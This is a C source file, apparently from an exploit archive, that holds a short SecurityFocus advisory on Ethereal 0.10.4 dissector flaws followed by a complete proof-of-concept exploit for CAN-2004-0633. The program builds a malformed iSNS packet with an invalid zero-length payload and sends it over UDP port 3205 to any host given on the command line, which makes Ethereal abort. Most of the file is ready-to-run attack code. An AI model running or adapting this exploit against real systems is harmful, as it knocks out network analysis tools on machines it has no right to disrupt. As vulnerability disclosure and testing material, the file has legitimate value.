225 lines
No EOL
8 KiB
C
225 lines
No EOL
8 KiB
C
// source: https://www.securityfocus.com/bid/10672/info
|
|
|
|
Ethereal 0.10.5 has been released to address multiple vulnerabilities, including an iSNS protocol dissector vulnerability, a SMB protocol dissector vulnerability, and a SNMP protocol dissector vulnerability. These issues are due to a failure of the application to properly handle malformed packets.
|
|
|
|
Successful exploitation of these issues will allow an attacker to cause a denial of service condition in the affected application, it has also been reported that these issues may facilitate arbitrary code execution.
|
|
|
|
/*
|
|
* Ethereal network protocol analyzer
|
|
* iSNS Dissector zero-length payload
|
|
* denial of service vulnerability
|
|
* proof of concept code
|
|
* version 1.0 (Aug 05 2004)
|
|
* CVE ID: CAN-2004-0633
|
|
*
|
|
* by Remi Denis-Courmont < exploit at simphalampin dot com >
|
|
* http://www.simphalempin.com/dev/
|
|
*
|
|
* Vulnerable:
|
|
* - Ethereal v0.10.4
|
|
*
|
|
* Not vulnerable:
|
|
* - Ethereal v0.10.3 and earlier
|
|
* - Ethereal v0.10.5
|
|
*
|
|
* The code above should cause Ethereal (or tethereal -V) to abort.
|
|
*/
|
|
|
|
|
|
/*****************************************************************************
|
|
* Copyright (C) 2004 Remi Denis-Courmont. All rights reserved. *
|
|
* *
|
|
* Redistribution and use in source and binary forms, with or without *
|
|
* modification, are permitted provided that the following conditions *
|
|
* are met: *
|
|
* 1. Redistributions of source code must retain the above copyright notice, *
|
|
* this list of conditions and the following disclaimer. *
|
|
* 2. Redistribution in binary form must reproduce the above copyright *
|
|
* notice, this list of conditions and the following disclaimer in the *
|
|
* documentation and/or other materials provided with the distribution. *
|
|
* *
|
|
* The author's liability shall not be incurred as a result of loss of due *
|
|
* the total or partial failure to fulfill anyone's obligations and direct *
|
|
* or consequential loss due to the software's use or performance. *
|
|
* *
|
|
* The current situation as regards scientific and technical know-how at the *
|
|
* time when this software was distributed did not enable all possible uses *
|
|
* to be tested and verified, nor for the presence of any or all faults to *
|
|
* be detected. In this respect, people's attention is drawn to the risks *
|
|
* associated with loading, using, modifying and/or developing and *
|
|
* reproducing this software. *
|
|
* The user shall be responsible for verifying, by any or all means, the *
|
|
* software's suitability for its requirements, its due and proper *
|
|
* functioning, and for ensuring that it shall not cause damage to either *
|
|
* persons or property. *
|
|
* *
|
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR *
|
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES *
|
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. *
|
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, *
|
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT *
|
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, *
|
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY *
|
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
|
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF *
|
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
|
|
* *
|
|
* The author does not either expressly or tacitly warrant that this *
|
|
* software does not infringe any or all third party intellectual right *
|
|
* relating to a patent, software or to any or all other property right. *
|
|
* Moreaver, the author shall not hold someone harmless against any or all *
|
|
* proceedings for infringement that may be instituted in respect of the *
|
|
* use, modification and redistrbution of this software. *
|
|
*****************************************************************************/
|
|
|
|
|
|
#include <string.h>
|
|
#include <stdio.h>
|
|
|
|
#ifndef WIN32
|
|
# include <sys/types.h>
|
|
# include <unistd.h>
|
|
# include <sys/socket.h>
|
|
# include <netdb.h>
|
|
#else
|
|
# include <winsock2.h>
|
|
# include <ws2tcpip.h>
|
|
|
|
# define close( fd ) closesocket_clean (fd)
|
|
# define perror( str ) (void)fprintf (stderr, "%s: Winsock error %d\n", \
|
|
str, WSAGetLastError ())
|
|
|
|
# undef gai_strerror
|
|
# define gai_strerror( i ) gai_strerror_does_not_link (i)
|
|
static const char *
|
|
gai_strerror_does_not_link (int errval)
|
|
{
|
|
static char buf[32];
|
|
|
|
sprintf (buf, "Winsock error %d", errval);
|
|
return buf;
|
|
}
|
|
|
|
/* Winsock has the foolish habit of resetting error value to zero */
|
|
static int closesocket_clean (int fd)
|
|
{
|
|
int errval, retval;
|
|
|
|
errval = WSAGetLastError ();
|
|
retval = closesocket (fd);
|
|
if (retval == 0)
|
|
WSASetLastError (errval);
|
|
|
|
return retval;
|
|
}
|
|
#endif
|
|
|
|
static const char packet[] =
|
|
/* iSNS header */
|
|
"\x00\x01" /* Version */
|
|
"\x00\x01" /* Function ID */
|
|
"\x00\x1c" /* Length */
|
|
"\x04\x00" /* Flags: First PDU */
|
|
"\x00\x00" /* Transaction ID */
|
|
"\x00\x00" /* Sequence ID */
|
|
|
|
/* iSNS payload */
|
|
"\x00\x00\x00\x03"
|
|
"\x00\x00\x00\x00" /* Length (invalid) */
|
|
;
|
|
|
|
|
|
static int
|
|
proof (const char *target)
|
|
{
|
|
int fd;
|
|
struct addrinfo *res, *ptr, hints;
|
|
|
|
memset (&hints, 0, sizeof (hints));
|
|
hints.ai_socktype = SOCK_DGRAM;
|
|
/* 'd work with TCP too, but UDP is much more straight-forward */
|
|
|
|
fd = getaddrinfo (target, "3205", &hints, &res);
|
|
if (fd)
|
|
{
|
|
fprintf (stderr, "%s: %s\n", target, gai_strerror (fd));
|
|
return -1;
|
|
}
|
|
|
|
fd = -1;
|
|
|
|
for (ptr = res; ptr != NULL && fd == -1; ptr = ptr->ai_next)
|
|
{
|
|
fd = socket (ptr->ai_family, ptr->ai_socktype,
|
|
ptr->ai_protocol);
|
|
if (fd == -1)
|
|
continue;
|
|
|
|
if (connect (fd, ptr->ai_addr, ptr->ai_addrlen))
|
|
{
|
|
close (fd);
|
|
fd = -1;
|
|
}
|
|
}
|
|
|
|
freeaddrinfo (res);
|
|
|
|
if (fd == -1)
|
|
perror (target);
|
|
else
|
|
{
|
|
size_t len;
|
|
|
|
len = sizeof (packet) - 1;
|
|
if (send (fd, packet, len, 0) == len)
|
|
{
|
|
puts ("Packet sent!");
|
|
close (fd);
|
|
return 0;
|
|
}
|
|
perror ("Packet sending error");
|
|
close (fd);
|
|
}
|
|
|
|
return -1;
|
|
}
|
|
|
|
|
|
static int
|
|
usage (const char *path)
|
|
{
|
|
fprintf (stderr, "Usage: %s <hostname/IP>\n", path);
|
|
return 2;
|
|
}
|
|
|
|
|
|
int
|
|
main (int argc, char *argv[])
|
|
{
|
|
int retval;
|
|
|
|
puts ("Ethereal iSNS dissector zero-length vulnerability\n"
|
|
"proof of concept code\n"
|
|
"Copyright (C) 2004 Remi Denis-Courmont "
|
|
"<\x65\x78\x70\x6c\x6f\x69\x74\x40\x73\x69\x6d\x70"
|
|
"\x68\x61\x6c\x65\x6d\x70\x69\x6e\x2e\x63\x6f\x6d>\n");
|
|
|
|
#ifdef WIN32
|
|
WSADATA wsaData;
|
|
|
|
if (WSAStartup (0x202, &wsaData) || wsaData.wVersion != 0x202)
|
|
{
|
|
fputs ("Winsock version mismatch!\n", stderr);
|
|
return 2;
|
|
}
|
|
#endif
|
|
|
|
if (argc != 2)
|
|
return usage (argv[0]);
|
|
|
|
retval = proof (argv[1]) ? 1 : 0;
|
|
#ifdef WIN32
|
|
WSACleanup ();
|
|
#endif
|
|
return retval;
|
|
} |